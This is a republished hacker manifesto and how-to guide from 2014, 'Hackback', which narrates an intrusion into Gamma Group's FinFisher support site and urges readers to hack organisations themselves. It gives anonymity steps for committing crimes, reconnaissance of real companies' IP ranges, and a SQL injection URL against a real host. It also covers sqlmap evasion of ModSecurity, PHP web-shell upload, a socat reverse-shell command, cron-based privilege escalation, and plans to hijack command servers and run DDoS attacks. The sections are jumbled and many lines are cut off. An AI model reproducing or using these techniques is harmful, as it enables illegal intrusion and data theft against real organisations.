Phineas Fisher
Hackback - A DIY GUIDE II
A DIY Guide for those without the patience to wait for whistleblowers
10 Aug 2014

packetstormsecurity.com

theanarchistlibrary.org

Hackback - A DIY GUIDE II

A DIY Guide for those without the patience to wait for whistleblowers

Phineas Fisher

10 Aug 2014

```
 _   _                _      ____                _     _
| | | | __ _  ___| | __ | __ )  __ _  ___| | _|
| |_| |/ _‘ |/ __| |/ / |  _ \ / _‘ |/ __| |/ /
|  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_
```

```
     A DIY Guide for those without the patience to wait for whi
```

```
--[ 1 ]-- Introduction
```

```
I’m not writing this to brag about what an 31337 h4x0r I am and
it took to 0wn Gamma. I’m writing this to demystify hacking, to
it is, and to hopefully inform and inspire you to go out and ha
have no experience with programming or hacking, some of the tex
look like a foreign language. Check the resources section at th
get started. And trust me, once you’ve learned the basics you’l
really is easier than filing a FOIA request.
```

--[2]-- Staying Safe

This is illegal, so you'll need to take same basic precautions

1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
2) Inside the encrypted volume install Whonix [1]
3) (Optional) While just having everything go over Tor thanks
   probably sufficient, it's better to not use an internet con
   to your name or address. A cantenna, aircrack, and reaver c
   here.

[0] https://truecrypt.ch/downloads/
[1] https://www.whonix.org/wiki/Download#Install_Whonix

As long as you follow common sense like never do anything hack
outside of Whonix, never do any of your normal computer usage
never mention any information about your real life when talkin
hackers, and never brag about your illegal hacking exploits to
life, then you can pretty much do whatever you want with no fe

NOTE: I do NOT recommend actually hacking directly over Tor. W
for some things like web browsing, when it comes to using hack
nmap, sqlmap, and nikto that are making thousands of requests,
very slowly over Tor. Not to mention that you'll want a public
receive connect back shells. I recommend using servers you've
paid with bitcoin to hack from. That way only the low bandwidt
between you and the server is over Tor. All the commands you'r
have a nice fast connection to your target.

--[3]-- Mapping out the target

Basically I just repeatedly use fierce [0], whois lookups on I
domain names, and reverse whois lookups to find all IP address

names associated with an organization.

[0] http://ha.ckers.org/fierce/

For an example let's take Blackwater. We start out knowing thei
academi.com. Running fierce.pl -dns academi.com we find the sub
67.238.84.228   email.academi.com
67.238.84.242   extranet.academi.com
67.238.84.240   mail.academi.com
67.238.84.230   secure.academi.com
67.238.84.227   vault.academi.com
54.243.51.249   www.academi.com

Now we do whois lookups and find the homepage of www.academi.co
Amazon Web Service, while the other IPs are in the range:
NetRange: 67.238.84.224 - 67.238.84.255
CIDR: 67.238.84.224/27
CustName: Blackwater USA
Address: 850 Puddin Ridge Rd

Doing a whois lookup on academi.com reveals it's also registere
address, so we'll use that as a string to search with for the r
lookups. As far as I know all the actual reverse whois lookup s
money, so I just cheat with google:
''850 Puddin Ridge Rd'' inurl:ip-address-lookup
''850 Puddin Ridge Rd'' inurl:domaintools

Now run fierce.pl -range on the IP ranges you find to lookup dn
fierce.pl -dns on the domain names to find subdomains and IP ad
whois lookups and repeat the process until you've found everyth

Also just google the organization and browse around its website
academi.com we find links to a careers portal, an online store,
resources page, so now we have some more:

54.236.143.203 careers.academi.com
67.132.195.12   academiproshop.com
67.238.84.236   te.academi.com
67.238.84.238   property.academi.com
67.238.84.241   teams.academi.com

If you repeat the whois lookups and such you'll find academipr
not be hosted or maintained by Blackwater, so scratch that off
interesting IPs/domains.

In the case of FinFisher what led me to the vulnerable finsupp
was simply a whois lookup of finfisher.com which found it regi
''FinFisher GmbH''. Googling for:
''FinFisher GmbH'' inurl:domaintools
finds gamma-international.de, which redirects to finsupport.fi

...so now you've got some idea how I map out a target.
This is actually one of the most important parts, as the large
surface that you are able to map out, the easier it will be to
somewhere in it.

--[4]-- Scanning & Exploiting

Scan all the IP ranges you found with nmap to find all service
from a standard port scan, scanning for SNMP is underrated.

Now for each service you find running:

1) Is it exposing something it shouldn't? Sometimes companies
running that require no authentication and just assume it's sa
or IP to access it isn't public. Maybe fierce found a git subd
go to git.companyname.come/gitweb/ and browse their source cod

2) Is it horribly misconfigured? Maybe they have an ftp server

Solidarity to everyone in Gaza, Israeli conscientious-objectors
Manning, Jeremy Hammond, Peter Sunde, anakata, and all other im
hackers, dissidents, and criminals!

```
  Get usable reverse shells with a statically linked copy of s
  your target and:
  target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane
  host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORT
  It's also useful for setting up weird pivots and all kinds o
```

Books:

* The Web Application Hacker's Handbook
* Hacking: The Art of Exploitation
* The Database Hacker's Handbook
* The Art of Software Security Assessment
* A Bug Hunter's Diary
* Underground: Tales of Hacking, Madness, and Obsession on the
* TCP/IP Illustrated

Aside from the hacking specific stuff almost anything useful t
administrator for setting up and administering networks will a
exploring them. This includes familiarity with the windows com
shell, basic scripting skills, knowledge of ldap, kerberos, ac
networking, etc.

--[10]-- Outro

You'll notice some of this sounds exactly like what Gamma is d
tool. It's not selling hacking tools that makes Gamma evil. It
customers are targeting and with what purpose that makes them
to say that tools are inherently neutral. Hacking is an offens
same way that guerrilla warfare makes it harder to occupy a co
it's cheaper to attack than to defend it's harder to maintain
authority and inequality. So I wrote this to try to make hacki
accessible. And I wanted to show that the Gamma Group hack rea
fancy, just standard sqli, and that you do have the ability to
similar action.

anonymous read or write access to an important directory. Maybe
database server with a blank admin password (lol stratfor). May
devices (VOIP boxes, IP Cameras, routers etc) are using the man
default password.

3) Is it running an old version of software vulnerable to a pub

Webservers deserve their own category. For any webservers, incl
will often find running on nonstandard ports, I usually:

1) Browse them. Especially on subdomains that fierce finds whic
for public viewing like test.company.com or dev.company.com you
interesting stuff just by looking at them.

2) Run nikto [0]. This will check for things like webserver/.sv
webserver/backup/, webserver/phpinfo.php, and a few thousand ot
mistakes and misconfigurations.

3) Identify what software is being used on the website. WhatWeb

4) Depending on what software the website is running, use more
like wpscan [2], CMS-Explorer [3], and Joomscan [4].

First try that against all services to see if any have a miscon
publicly known vulnerability, or other easy way in. If not, it'
on to finding a new vulnerability:

5) Custom coded web apps are more fertile ground for bugs than
projects, so try those first. I use ZAP [5], and some combinati
automated tests along with manually poking around with the help
intercepting proxy.

6) For the non-custom software they're running, get a copy to l
free software you can just download it. If it's proprietary you

pirate it. If it's proprietary and obscure enough that you can
can buy it (lame) or find other sites running the same softwar
find one that's easier to hack, and get a copy from them.

[0] http://www.cirt.net/nikto2
[1] http://www.morningstarsecurity.com/research/whatweb
[2] http://wpscan.org/
[3] https://code.google.com/p/cms-explorer/
[4] http://sourceforge.net/projects/joomscan/
[5] https://code.google.com/p/zaproxy/

For finsupport.finfisher.com the process was:

* Start nikto running in the background.

* Visit the website. See nothing but a login page. Quickly che
  login form.

* See if WhatWeb knows anything about what software the site i

* WhatWeb doesn't recognize it, so the next question I want an
  is a custom website by Gamma, or if there are other websites
  software.

* I view the page source to find a URL I can search on (index.
  exactly unique to this software). I pick Scripts/scripts.js.
  allinurl:''Scripts/scripts.js.php''

* I find there's a handful of other sites using the same softw
  the same small webdesign firm. It looks like each site is cu
  they share a lot of code. So I hack a couple of them to get
  code written by the webdesign firm.

At this point I can see the news stories that journalists will

metasploit browser autopwn, but you'll probably have better luc
exploits and a fake flash updater prompt.

2) Taking advantage of the fact that people are nice, trusting,
of the time.
The infosec industry invented a term to make this sound like so
science: ''Social Engineering''. This is probably the way to go i
too much about computers, and it really is all it takes to be a
hacker [0].

[0] https://www.youtube.com/watch?v=DB6ywr9fngU

--[9]-- Resources

Links:

* https://www.pentesterlab.com/exercises/
* http://overthewire.org/wargames/
* http://www.hackthissite.org/
* http://smashthestack.org/
* http://www.win.tue.nl/~aeb/linux/hh/hh.html
* http://www.phrack.com/
* http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-p
* http://www.offensive-security.com/metasploit-unleashed/PSExec
* https://securusglobal.com/community/2013/12/20/dumping-window
* https://www.netspi.com/blog/entryid/140/resources-for-aspirin
  (all his other blog posts are great too)
* https://www.corelan.be/ (start at Exploit writing tutorial pa
* http://websec.wordpress.com/2010/02/22/exploiting-php-file-in
  One trick it leaves out is that on most systems the apache ac
  readable only by root, but you can still include from /proc/s
  whatever fd apache opened it as. It would also be more useful
  what versions of php the various tricks were fixed in.
* http://www.dest-unreach.org/socat/

Once you're in their networks, the real fun starts. Just use y
While I titled this a guide for wannabe whistleblowers, there'
limit yourself to leaking documents. My original plan was to:
1) Hack Gamma and obtain a copy of the FinSpy server software
2) Find vulnerabilities in FinSpy server.
3) Scan the internet for, and hack, all FinSpy C&C servers.
4) Identify the groups running them.
5) Use the C&C server to upload and run a program on all targe
   who was spying on them.
6) Use the C&C server to uninstall FinFisher on all targets.
7) Join the former C&C servers into a botnet to DDoS Gamma Gro

It was only after failing to fully hack Gamma and ending up wi
interesting documents but no copy of the FinSpy server softwar
make due with the far less lulzy backup plan of leaking their
mocking them on twitter.
Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and c
already so I can move on to step 2!

--[8]-- Other Methods

The general method I outlined above of scan, find vulnerabilit
is just one way to hack, probably better suited to those with
programming. There's no one right way, and any method that wor
any other. The other main ways that I'll state without going i

1) Exploits in web browers, java, flash, or microsoft office,
emailing employees with a convincing message to get them to op
attachment, or hacking a web site frequented by the employees
browser/java/flash exploit to that.
This is the method used by most of the government hacking grou
need to be a government with millions to spend on 0day researc
to FinSploit or VUPEN to pull it off. You can get a quality ru
for a couple thousand, and rent access to one for much less. T

up views: ''In a sophisticated, multi-step attack, hackers first
web design firm in order to acquire confidential data that woul
attacking Gamma Group...''

But it's really quite easy, done almost on autopilot once you g
it. It took all of a couple minutes to:

* google allinurl:''Scripts/scripts.js.php'' and find the other s

* Notice they're all sql injectable in the first url parameter

* Realize they're running Apache ModSecurity so I need to use s
  the option --tamper='tamper/modsecurityversioned.py'

* Acquire the admin login information, login and upload a php sh
  check for allowable file extensions was done client side in j
  download the website's source code.

[0] http://sqlmap.org/
[1] https://epinna.github.io/Weevely/

Looking through the source code they might as well have named i
Web App v2 [0]. It's got sqli, LFI, file upload checks done cli
javascript, and if you're unauthenticated the admin page just s
the login page with a Location header, but you can have your in
filter the Location header out and access it just fine.

[0] http://www.dvwa.co.uk/

Heading back over to the finsupport site, the admin /BackOffice
403 Forbidden, and I'm having some issues with the LFI, so I sw
sqli (it's nice to have a dozen options to choose from). The ot
web designer all had an injectable print.php, so some quick req
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=

https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2
reveal that finsupport also has print.php and it is injectable
database admin! For MySQL this means you can read and write fi
the site has magicquotes enabled, so I can't use INTO OUTFILE
But I can use a short script that uses sqlmap --file-read to g
for a URL, and a normal web request to get the HTML, and then
included or required in the php source, and finds php files li
to recursively download the source to the whole site.

Looking through the source, I see customers can attach a file
tickets, and there's no check on the file extension. So I pick
password out of the customer database, create a support reques
attached, and I'm in!

--[5]-- (fail at) Escalating

```
 ___________
< got r00t? >
 -----------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
            ^^^^^^^^^^^^^^^^
```

Root over 50% of linux servers you encounter in the wild with
Linux_Exploit_Suggester [0], and unix-privesc-check [1].

[0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
[1] https://code.google.com/p/unix-privesc-check/

finsupport was running the latest version of Debian with no lo
but unix-privesc-check returned:

WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as r
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root. The
can write to /etc/cron.hourly/webalizer

so I add to /etc/cron.hourly/webalizer:
chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell

wait an hour, and ....nothing. Turns out that while the cron pr
it doesn't seem to be actually running cron jobs. Looking in th
directory shows it didn't update stats the previous month. Appa
updating the timezone cron will sometimes run at the wrong time
run at all and you need to restart cron after changing the time
/etc/localtime shows the timezone got updated June 6, the same
stopped recording stats, so that's probably the issue. At any r
thing this server does is host the website, so I already have a
everything interesting on it. Root wouldn't get much of anythin
on to the rest of the network.

--[6]-- Pivoting

The next step is to look around the local network of the box yo
is pretty much the same as the first Scanning & Exploiting step
from behind the firewall many more interesting services will be
tarball containing a statically linked copy of nmap and all its
can upload and run on any box is very useful for this. The vari
especially smb-* scripts nmap has will be extremely useful.

The only interesting thing I could get on finsupport's local ne
webserver serving up a folder called 'qateam' containing their

--[7]-- Have Fun